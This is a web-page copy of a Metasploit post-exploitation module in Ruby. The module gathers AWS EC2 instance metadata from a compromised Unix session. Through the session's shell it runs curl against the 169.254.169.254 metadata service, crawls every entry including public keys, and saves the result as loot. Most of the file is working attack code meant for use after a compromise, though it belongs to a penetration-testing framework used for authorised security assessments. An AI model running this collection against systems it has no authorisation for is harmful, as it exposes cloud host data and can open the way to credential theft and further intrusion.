CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/aws_ec2_instance_metadata.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
def initialize(info = {})
8
super(
9
update_info(
10
info,
11
'Name' => 'Gather AWS EC2 Instance Metadata',
12
'Description' => %q{
13
This module will attempt to connect to the AWS EC2 instance metadata service
14
and crawl and collect all metadata known about the session'd host.
15
},
16
'License' => MSF_LICENSE,
17
'Author' => [
18
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
19
],
20
# TODO: is there a way to do this on Windows?
21
'Platform' => %w[unix],
22
'SessionTypes' => %w[shell meterpreter],
23
'References' => [
24
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
25
]
26
)
27
)
28
29
register_advanced_options(
30
[
31
OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])
32
]
33
)
34
end
35
36
def check_aws_metadata
37
resp = simple_get(@target_uri)
38
unless resp =~ /^instance-id$/
39
fail_with(Failure::BadConfig, 'Session does not appear to be on an AWS EC2 instance')
40
end
41
resp
42
end
43
44
def check_curl
45
unless cmd_exec('curl --version') =~ /^curl \d/
46
fail_with(Failure::BadConfig, 'curl is not installed')
47
end
48
end
49
50
def get_aws_metadata(base_uri, base_resp)
51
r = {}
52
base_resp.split(/\r?\n/).each do |l|
53
new_uri = "#{base_uri}#{l}"
54
if l =~ %r{/$}
55
# handle a directory
56
r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
57
elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l
58
# special case handling of the public-keys endpoint
59
new_uri = new_uri.slice(0..(new_uri.index(%r{/public-keys/}) + '/public-keys'.length))
60
key_uri = "#{new_uri}#{key_id}/"
61
key_resp = simple_get(key_uri)
62
r[key_id] = get_aws_metadata(key_uri, key_resp)
63
else
64
r[l] = simple_get(new_uri)
65
end
66
end
67
r
68
end
69
70
def run
71
check_curl
72
resp = check_aws_metadata
73
74
print_status('Gathering AWS EC2 instance metadata')
75
metadata = get_aws_metadata(@target_uri, resp)
76
77
metadata_json = JSON.pretty_generate(metadata)
78
file = store_loot('aws.ec2.instance.metadata', 'text/json', session, metadata_json, 'aws_ec2_instance_metadata.json', 'AWS EC2 Instance Metadata')
79
80
if datastore['VERBOSE']
81
vprint_good('AWS EC2 instance metadata')
82
print_line(metadata_json)
83
end
84
print_good("Saved AWS EC2 instance metadata to to #{file}")
85
end
86
87
def setup
88
@target_uri ||= URI(datastore['TARGETURI'])
89
rescue ::URI::InvalidURIError
90
fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")
91
end
92
93
def simple_get(url)
94
vprint_status("Fetching #{url}")
95
cmd_exec("curl -s #{url}")
96
end
97
end
98
99